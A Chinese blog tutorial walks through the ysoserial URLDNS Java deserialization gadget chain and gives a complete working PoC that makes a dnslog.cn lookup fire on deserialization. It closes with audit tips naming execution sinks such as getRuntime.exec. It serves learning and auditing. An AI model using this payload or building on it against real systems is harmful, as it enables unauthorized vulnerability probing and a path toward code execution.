1. 程式人生 > 其它 >URLDNS反序列化鏈

URLDNS反序列化鏈

關於java的反序列化只是大概知道是因為readObject方法,導致的但是怎麼個過程導致的rce,還是很迷糊的。

但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。

此次利用的URL.class是jdk自帶的,無需依賴第三方。整條利用鏈相對簡單,適合新手練手

根據ysoserial類的poc,下面自行改編

先上圖為敬,如下效果圖

序列化類

反序列化類

執行反序列化類裡面的main方法,如下圖,可以看到dnslog已經接收到了請求

接下來開始分析這條鏈是怎麼走的

程式碼中最重要的三個類是HashMap,URL,URLStreamHandler。其中HashMap重寫了readObject方法,URL類是裡面有個hashCode()方法被HashMap的readObject()呼叫了,URLStreamHandler類是裡面的getHostAddress被URL類裡面的hashCode()方法呼叫了。這樣形成了一條呼叫鏈HashMap.readObject()--->HashMap.putVal()--->HashMap.hash()--->URL.hashCode()

繼續往下看,for迴圈裡面把map的key和value都反序列化了,最後進到了putVal方法裡面

我們跟進hash(key)方法,可以看到傳入了一個Object型別的key,如果key為空,返回0,不為空的話進入key.hashCode()方法

此時我們需要注意了,上圖中的hash方法傳入的是Object型別的,那麼如果我們傳入的是URL類呢?我們看下URL類有沒有hashCode()方法,如果有的話,則能繼續下一步,繼續根據key.hashCode()方法

上圖說hashCode != -1,則直接返回hashCode,而該URL類的hashCode值被預設定義成了-1。如果等於-1,則繼續往下走,我們繼續看hashCode(this)方法

此刻已經分析完了整條鏈的呼叫過程,接下來就是寫poc來實現了

package com.zyp.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsSerializeTest {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(File file) throws Exception {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws Exception {
        HashMap<Object,Object> hashMap=new HashMap<>();
        URL url=new URL("http://serialize.zxz7y3.dnslog.cn");
        //為了下面的put方法不執行URL類裡面的getHostAddress方法,使用反射技術獲取URL類的屬性hashCode,並改變其原有值
        Class c=  url.getClass();
        //獲取使用屬性hashCode
        Field hashCode = c.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        //此處hashCode改為111,目的就是為了不進getHostAddress方法
        hashCode.set(url,111);
        hashMap.put(url,1);
        //hashMap執行完URL類的hashCode()後,通過反射,把URL類的hashCode值設定為-1,在反序列化時進入getHostAddress方法
        hashCode.set(url,-1);
        serialize(hashMap);
        File file=new File("serialize.bin");
        unSerialize(file);
    }

}

突然發現一個問題,HashMap的put方法也呼叫了putVal()

那我們進行序列化時,應該就會有dns請求,的確如果不做其他處理,在序列化時,就會有dns請求。所以看poc,在put之前就通過反射改變了hashCode的值。使其不等於-1,這樣就不會進入到getHostAddress方法

審計思路

需要滿足以下條件

1、如果是Java原生類,則需要入口類有readObject方法,同時實現了序列化介面

2、需要有最終的執行函式(可以執行程式碼或者命令),比如getRuntime.exec,getHostAddress.....等等,這些函 數需要自己平常去收集,這樣審計起來會更得心應手